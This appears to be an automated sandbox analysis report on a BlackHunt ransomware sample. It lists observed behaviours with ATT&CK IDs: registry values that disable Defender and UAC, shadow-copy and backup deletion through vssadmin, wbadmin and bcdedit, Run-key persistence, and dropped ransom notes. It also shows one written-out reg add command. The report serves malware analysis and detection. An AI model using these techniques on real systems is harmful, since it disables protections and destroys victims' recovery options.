dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3

Data Destruction

T1485

pid	Process
1196	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
1524	bcdedit.exe
2904	bcdedit.exe

Renames multiple (2890) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
1180	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\U:	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened (read-only)	\??\N:	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\E:	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened (read-only)	\??\R:	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened (read-only)	\??\J:	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened (read-only)	\??\Z:	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened (read-only)	\??\V:	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened (read-only)	\??\M:	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened (read-only)	\??\O:	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened (read-only)	\??\P:	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened (read-only)	\??\A:	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened (read-only)	\??\B:	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\Q:	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened (read-only)	\??\W:	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened (read-only)	\??\T:	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened (read-only)	\??\Y:	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened (read-only)	\??\S:	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened (read-only)	\??\G:	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened (read-only)	\??\I:	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened (read-only)	\??\H:	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened (read-only)	\??\X:	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened (read-only)	\??\K:	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened (read-only)	\??\L:	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\btn-previous-static.png	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\softedges.png	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\profileRegistry\JMC.profile\.lock	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\icons\alert_obj.png	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.help.ui.nl_zh_4.4.0.v20140623020002.jar	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\intf\modules\httprequests.luac	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File created	C:\Program Files\VideoLAN\VLC\locale\be\LC_MESSAGES\#BlackHunt_ReadMe.txt	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pl\LC_MESSAGES\#BlackHunt_Private.key	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\#BlackHunt_ReadMe.txt	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_es.jar	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\core\#BlackHunt_Private.key	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File created	C:\Program Files\VideoLAN\VLC\lua\meta\art\#BlackHunt_Private.key	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\stream_filter\#BlackHunt_ReadMe.txt	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened for modification	C:\Program Files\DVD Maker\directshowtap.ax	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Blanc-Sablon	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File created	C:\Program Files\Java\jre7\bin\server\#BlackHunt_Private.key	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File created	C:\Program Files\VideoLAN\VLC\lua\#BlackHunt_ReadMe.txt	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins3d\prc\#BlackHunt_ReadMe.hta	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\#BlackHunt_ReadMe.txt	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\server_issue.gif	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\ParentMenuButtonIcon.png	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\jce.jar	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Hermosillo	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Prague	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\bin\dtplugin\#BlackHunt_ReadMe.hta	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.core_5.5.0.165303\#BlackHunt_ReadMe.hta	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx.ext_5.5.0.165303.jar	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File created	C:\Program Files\VideoLAN\VLC\locale\is\#BlackHunt_Private.key	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\#BlackHunt_ReadMe.txt	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Qatar	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.core\cache\binary\com.jrockit.mc.rcp.product_root_5.5.0.165303	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\index.html	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Johannesburg	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Dhaka	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-openide-nodes.xml	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\dialogs\offset_window.html	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\include\win32\jawt_md.h	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Adak	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\#BlackHunt_Private.key	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.net_1.2.200.v20140124-2013.jar	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.ds_1.4.200.v20131126-2331.jar	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ql.nl_ja_4.4.0.v20140623020002.jar	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Thunder_Bay	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File created	C:\Program Files\VideoLAN\VLC\locale\nb\#BlackHunt_ReadMe.txt	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\#BlackHunt_ReadMe.txt	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.jface.nl_ja_4.4.0.v20140623020002.jar	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\#BlackHunt_Private.key	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\dark\e4-dark_preferencestyle.css	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hy\#BlackHunt_Private.key	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\rectangle_travel_Thumbnail.bmp	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Hong_Kong	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Pacific\Port_Moresby	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ro\LC_MESSAGES\#BlackHunt_ReadMe.txt	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Pacific\Wallis	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\#BlackHunt_ReadMe.txt	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-io_ja.jar	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File created	C:\Program Files\VideoLAN\VLC\locale\el\#BlackHunt_ReadMe.txt	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\el\LC_MESSAGES\vlc.mo	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsMainToNotesBackground_PAL.wmv	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Almaty	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.publisher.nl_zh_4.4.0.v20140623020002.jar	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Chicago	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File created	C:\Program Files\VideoLAN\VLC\locale\as_IN\LC_MESSAGES\#BlackHunt_Private.key	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ast\LC_MESSAGES\vlc.mo	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
616	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
2408	vssadmin.exe
608	vssadmin.exe
2012	vssadmin.exe
2420	vssadmin.exe
948	vssadmin.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
Token: SeRestorePrivilege	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
Token: SeBackupPrivilege	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
Token: SeTakeOwnershipPrivilege	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
Token: SeAuditPrivilege	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
Token: SeSecurityPrivilege	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
Token: SeIncBasePriorityPrivilege	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
Token: SeBackupPrivilege	1580	vssvc.exe
Token: SeRestorePrivilege	1580	vssvc.exe
Token: SeAuditPrivilege	1580	vssvc.exe
Token: SeBackupPrivilege	896	wbengine.exe
Token: SeRestorePrivilege	896	wbengine.exe
Token: SeSecurityPrivilege	896	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2256 wrote to memory of 2776	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	28
PID 2256 wrote to memory of 2776	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	28
PID 2256 wrote to memory of 2776	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	28
PID 2256 wrote to memory of 2776	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	28
PID 2256 wrote to memory of 2792	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	30
PID 2256 wrote to memory of 2792	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	30
PID 2256 wrote to memory of 2792	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	30
PID 2256 wrote to memory of 2792	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	30
PID 2256 wrote to memory of 2836	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	32
PID 2256 wrote to memory of 2836	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	32
PID 2256 wrote to memory of 2836	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	32
PID 2256 wrote to memory of 2836	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	32
PID 2256 wrote to memory of 2700	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	35
PID 2256 wrote to memory of 2700	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	35
PID 2256 wrote to memory of 2700	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	35
PID 2256 wrote to memory of 2700	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	35
PID 2256 wrote to memory of 2768	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	36
PID 2256 wrote to memory of 2768	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	36
PID 2256 wrote to memory of 2768	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	36
PID 2256 wrote to memory of 2768	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	36
PID 2256 wrote to memory of 2752	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	37
PID 2256 wrote to memory of 2752	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	37
PID 2256 wrote to memory of 2752	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	37
PID 2256 wrote to memory of 2752	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	37
PID 2256 wrote to memory of 2888	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	39
PID 2256 wrote to memory of 2888	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	39
PID 2256 wrote to memory of 2888	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	39
PID 2256 wrote to memory of 2888	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	39
PID 2256 wrote to memory of 2428	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	41
PID 2256 wrote to memory of 2428	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	41
PID 2256 wrote to memory of 2428	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	41
PID 2256 wrote to memory of 2428	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	41
PID 2256 wrote to memory of 2824	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	43
PID 2256 wrote to memory of 2824	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	43
PID 2256 wrote to memory of 2824	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	43
PID 2256 wrote to memory of 2824	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	43
PID 2256 wrote to memory of 2828	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	45
PID 2256 wrote to memory of 2828	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	45
PID 2256 wrote to memory of 2828	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	45
PID 2256 wrote to memory of 2828	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	45
PID 2836 wrote to memory of 2744	2836	cmd.exe	47
PID 2836 wrote to memory of 2744	2836	cmd.exe	47
PID 2836 wrote to memory of 2744	2836	cmd.exe	47
PID 2776 wrote to memory of 2540	2776	cmd.exe	49
PID 2776 wrote to memory of 2540	2776	cmd.exe	49
PID 2776 wrote to memory of 2540	2776	cmd.exe	49
PID 2256 wrote to memory of 2616	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	50
PID 2256 wrote to memory of 2616	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	50
PID 2256 wrote to memory of 2616	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	50
PID 2256 wrote to memory of 2616	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	50
PID 2256 wrote to memory of 2688	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	51
PID 2256 wrote to memory of 2688	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	51
PID 2256 wrote to memory of 2688	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	51
PID 2256 wrote to memory of 2688	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	51
PID 2256 wrote to memory of 2584	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	53
PID 2256 wrote to memory of 2584	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	53
PID 2256 wrote to memory of 2584	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	53
PID 2256 wrote to memory of 2584	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	53
PID 2256 wrote to memory of 2592	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	54
PID 2256 wrote to memory of 2592	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	54
PID 2256 wrote to memory of 2592	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	54
PID 2256 wrote to memory of 2592	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	54
PID 2256 wrote to memory of 2064	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	56
PID 2256 wrote to memory of 2064	2256	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe	56

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe
"C:\Users\Admin\AppData\Local\Temp\dcc4b8774675611544696696f34577c997c75143d3c8b053b314e0a81f85ccf3.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2256
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2776
- - C:\Windows\system32\reg.exe
